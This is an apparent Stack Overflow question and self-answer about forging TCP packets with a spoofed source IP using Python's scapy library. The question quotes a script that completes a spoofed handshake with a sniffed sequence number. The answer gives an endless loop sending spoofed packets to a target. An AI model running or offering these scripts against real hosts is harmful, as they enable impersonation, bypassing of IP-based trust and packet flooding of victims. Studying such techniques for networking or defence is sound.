13

Is it possible to send a spoofed packet with another ip source? I've searched on the net and I found out that I need to use scapy library. I have this script that I found:

import sys
from scapy.all import *
if len(sys.argv) != 4:
 print ("Usage: ./spoof.py <target> <spoofed_ip> <port>")
 sys.exit(1)
target = sys.argv[1]
spoofed_ip = sys.argv[2]
port = int(sys.argv[3])
p1=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='S')
send(p1)
print ("Okay, SYN sent. Enter the sniffed sequence number now: ")
seq=sys.stdin.readline()
print ("Okay, using sequence number " + seq)
seq=int(seq[:-1])
p2=IP(dst=target,src=spoofed_ip)/TCP(dport=port,sport=5000,flags='A',
 ack=seq+1,seq=1)
send(p2)
print ("Okay, final ACK sent. Check netstat on your target :-)")

But I don't get what does it mean "Enter the sniffed sequence number now:"

Also, is it possible to avoid using scapy, and use socket library instead? If yes, can you tell me the way?

Adam Stelmaszczyk
19.9k4 gold badges73 silver badges111 bronze badges
asked Aug 15, 2016 at 13:53
1
  • UP! anyone know something about it? Commented Aug 16, 2016 at 22:39

1 Answer 1

21

solved on my own using scapy library:

from scapy.all import *
A = "192.168.1.254" # spoofed source IP address
B = "192.168.1.105" # destination IP address
C = RandShort() # source port
D = 80 # destination port
payload = "yada yada yada" # packet payload
while True:
 spoofed_packet = IP(src=A, dst=B) / TCP(sport=C, dport=D) / payload
 send(spoofed_packet)
answered Aug 20, 2016 at 10:52
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

Draft saved
Draft discarded

Sign up or log in

Sign up using Google
Sign up using Email and Password

Post as a guest

Required, but never shown

Post as a guest

Required, but never shown

By clicking "Post Your Answer", you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.